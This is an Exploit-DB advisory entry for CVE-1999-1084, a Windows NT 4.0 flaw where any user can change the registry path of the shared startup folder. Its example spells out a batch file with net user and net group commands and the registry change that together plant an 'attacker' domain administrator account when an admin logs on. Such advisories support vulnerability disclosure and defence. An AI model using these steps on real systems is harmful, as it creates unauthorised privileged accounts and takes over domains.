Microsoft Windows NT 4.0 User Shell Folders Vulnerability

2000-03-09T00:00:00
ID EDB-ID:19798
Type exploitdb
Reporter anonymous
Modified 2000-03-09T00:00:00

Description

Microsoft Windows NT 4.0 User Shell Folders Vulnerability. CVE-1999-1084. Local exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/1042/info


The registry value 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Startup 

specifies the shared startup folder for all users on a system. This key is set to be writeable by any authenticated user. Therefore, any user could specify a folder with a shortcut to a program of their choice that will be run any time a user logs in, at the privilege level of that user.

Example: 

On a Domain Controller, a batch file containg the following commands:
--
net user attacker /add /domain
net group administrators attacker /add /domain
--
could be put into the folder c:\hackstartup.
Then the registry value 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Startup 
could be set to the string "c:\hackstartup".
The next time an administrator logs on to that machine, the 'attacker' account will be created and added to the Administrators group on the PDC of the domain.